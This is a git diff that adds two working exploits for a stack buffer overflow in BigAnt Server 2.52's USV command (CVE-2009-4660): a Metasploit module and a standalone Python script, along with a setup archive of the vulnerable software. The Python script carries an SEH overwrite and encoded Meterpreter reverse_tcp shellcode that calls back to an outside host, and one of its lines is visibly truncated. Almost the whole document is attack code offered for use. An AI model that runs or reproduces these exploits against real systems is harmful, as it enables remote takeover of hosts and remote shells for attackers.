diff --git a/modules/exploits/windows/misc/bigant_server_usv10.rb b/modules/exploits/windows/misc/bigant_server_usv10.rb new file mode 100644 index 0000000..5770a1a --- /dev/null +++ b/modules/exploits/windows/misc/bigant_server_usv10.rb @@ -0,0 +1,78 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BigAnt Server 2.52 USV Buffer Overflow', + 'Description' => %q{ + This exploits a stack buffer overflow in the BigAnt Messaging Service, + part of the BigAnt Server product suite. This module was tested + successfully against version 2.52. + + NOTE: The AntServer service does not restart, you only get one shot. + }, + 'Author' => + [ + 'Lincoln', + 'DouBle_Zer0', + 'jduck', + 'Paolo Stagno - voidsec@voidsec.com - https://voidsec.com' #Win10 PoC module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2009-4660' ], + [ 'OSVDB', '61386' ], + [ 'EDB', '10765' ], + [ 'EDB', '10973' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'seh' + }, + 'Payload' => + { + 'Space' => 704, + 'BadChars' => "\x00\x0a\x0d\x20\x25" + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'BigAnt 2.52 Win10', { + 'Ret' => 0x0f9d34fc, + 'Offset' => 962 + } ], #Tested on Windows 10 x64 Pro v.10.0.18363 Build 18363 + [ 'BigAnt 2.52 XPSP3', { + 'Ret' => 0x1b019fd6, + 'Offset' => 962 + } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Dec 29 2009')) + + register_options([Opt::RPORT(6660)]) + end + + def exploit + connect + max_buff_length = 2500 + sploit = "" + sploit << make_nops(target['Offset']) + sploit << generate_seh_payload(target.ret) + sploit << payload.encoded + sploit << make_nops(max_buff_length-sploit.length) + print_status("Trying target #{target.name}...") + sock.put("USV " + sploit + "\r\n\r\n") + + handler + disconnect + end +end diff --git a/windows/x86/remote/AntServer_v.2.5.0.3.py b/windows/x86/remote/AntServer_v.2.5.0.3.py new file mode 100644 index 0000000..57ced0d --- /dev/null +++ b/windows/x86/remote/AntServer_v.2.5.0.3.py @@ -0,0 +1,71 @@ +""" +Full title: BigAnt Messaging Service (AntServer) v.2.5.0.3 USV Command Remote Buffer Overflow (SEH) +Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com +Vendor Homepage: http://www.bigantsoft.com/ +Version: BigAnt Console v.2.52 Service Pack 5 +Tested on: Windows 10 x64 Pro v.10.0.18363 Build 18363 +Category: remote exploits +Platform: windows +Usage: Set the target IP, this script will take care of everything else. +""" +#!/usr/bin/python +import sys, socket, struct +#config +target = "127.0.0.1" +port = 6660 +#-----------------buff struct----------------- +# v--------| p/p/r #2 +#buffer (2500) = | junk (962) | nSEH (4) | SEH (4) | shellcode (704) | junk2 (1674) not usable| +#------------------------------------------^ #1 +# | jmp #3 --------------^ +total_length = 2500 +#SEH record (nseh field) at 0x0275fd38 overwritten with normal pattern : 0x31674230 (offset 962), followed by 704 bytes of cyclic data after the handler +offset = 962 +buffer ="A" * offset #junk +buffer += "\xeb\x06\x90\x90" #nSEH: jump forward of 7 bytes +#had to chose an OS module has others have nullbytes +#0x0f9d34fc : pop edi # pop ebx # ret 0x04 | {PAGE_EXECUTE_READ} [expsrv.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.0.9589 (C:\Windows\SYSTEM32\expsrv.dll) +buffer += struct.pack(" nSEH +#bad chars: \x00\x0a\x0d\x20\x25 +buffer += "\x81\xc4\x24\xfa\xff\xff" # stack adj: add esp,-1500 +# shellcode (brk at 0x237FD41 - 0x0237FFFC) (389/704) +#msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.206.1 exitfunc=thread -b '\x00\x0a\x0d\x20\x25' -f python +buffer += b"\xd9\xc4\xb8\x93\x8b\xb5\x46\xd9\x74\x24\xf4\x5b\x29" +buffer += b"\xc9\xb1\x5b\x83\xc3\x04\x31\x43\x15\x03\x43\x15\x71" +buffer += b"\x7e\x49\xae\xf7\x81\xb2\x2f\x97\x08\x57\x1e\x97\x6f" +buffer += b"\x13\x31\x27\xfb\x71\xbe\xcc\xa9\x61\x35\xa0\x65\x85" +buffer += b"\xfe\x0e\x50\xa8\xff\x22\xa0\xab\x83\x38\xf5\x0b\xbd" +buffer += b"\xf3\x08\x4d\xfa\xe9\xe1\x1f\x53\x66\x57\xb0\xd0\x32" +buffer += b"\x64\x3b\xaa\xd3\xec\xd8\x7b\xd2\xdd\x4e\xf7\x8d\xfd" +buffer += b"\x71\xd4\xa6\xb7\x69\x39\x82\x0e\x01\x89\x79\x91\xc3" +buffer += b"\xc3\x82\x3e\x2a\xec\x71\x3e\x6a\xcb\x69\x35\x82\x2f" +buffer += b"\x14\x4e\x51\x4d\xc2\xdb\x42\xf5\x81\x7c\xaf\x07\x46" +buffer += b"\x1a\x24\x0b\x23\x68\x62\x08\xb2\xbd\x18\x34\x3f\x40" +buffer += b"\xcf\xbc\x7b\x67\xcb\xe5\xd8\x06\x4a\x40\x8f\x37\x8c" +buffer += b"\x2b\x70\x92\xc6\xc6\x65\xaf\x84\x8e\x4a\x82\x36\x4f" +buffer += b"\xc4\x95\x45\x7d\x4b\x0e\xc2\xcd\x04\x88\x15\x47\x02" +buffer += b"\x2b\xc9\xef\x42\xd5\xea\x0f\x4b\x12\xbe\x5f\xe3\xb3" +buffer += b"\xbf\x0b\xf3\x3c\x6a\xa1\xf9\xaa\x55\x9e\x33\x2b\x3e" +buffer += b"\xdd\xcb\x3d\xe2\x68\x2d\x6d\x4a\x3b\xe1\xce\x3a\xfb" +buffer += b"\x51\xa7\x50\xf4\x8e\xd7\x5a\xde\xa7\x72\xb5\xb7\x90" +buffer += b"\xea\x2c\x92\x6a\x8a\xb1\x08\x17\x8c\x3a\xb9\xe8\x43" +buffer += b"\xcb\xc8\xfa\xb4\xac\x32\x02\x45\x59\x33\x68\x41\xcb" +buffer += b"\x64\x04\x4b\x2a\x42\x8b\xb4\x19\xd0\xcb\x4b\xdc\xe1" +buffer += b"\xa0\x7a\x4a\x4e\xde\x82\x9a\x4e\x1e\xd5\xf0\x4e\x76" +buffer += b"\x81\xa0\x1c\x63\xce\x7c\x31\x38\x5b\x7f\x60\xed\xcc" +buffer += b"\x17\x8e\xc8\x3b\xb8\x71\x3f\x38\xbf\x8e\xc2\x17\x18" +buffer += b"\xe7\x3c\x28\x98\xf7\x56\xa8\xc8\x9f\xad\x87\xe7\x6f" +buffer += b"\x4e\x02\xa0\xe7\xc5\xc3\x02\x99\xda\xc9\xc3\x07\xdb" +buffer += b"\xfe\xdf\xb8\xa6\x8f\xe0\x38\x57\x86\x84\x38\x58\xa6" +buffer += b"\xba\x05\x8f\x9f\xc8\x48\x0c\xa4\xd3\x56\xb8\xd1\x7b" +buffer += b"\xcf\x29\x58\xe6\xf0\x84\x9f\x1f\x73\x2c\x60\xe4\x6b" +buffer += b"\x45\x65\xa0\x2b\xb6\x17\xb9\xd9\xb8\x84\xba\xcb" +#-----------------shellcode--------------- +buffer += "A" * (total_length - len(buffer)) # junk2 +#-----------------exploit----------------- +# Make a connection to target system on TCP/6660 +s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) +connect = s.connect((target,port)) +# Send the "USV " command plus our buffer +s.send("USV " + buffer + "\r\n\r\n") +s.close() \ No newline at end of file diff --git a/windows/x86/remote/BigAntServer_Enu_Setup.zip b/windows/x86/remote/BigAntServer_Enu_Setup.zip new file mode 100644 index 0000000..c987337 Binary files /dev/null and b/windows/x86/remote/BigAntServer_Enu_Setup.zip differ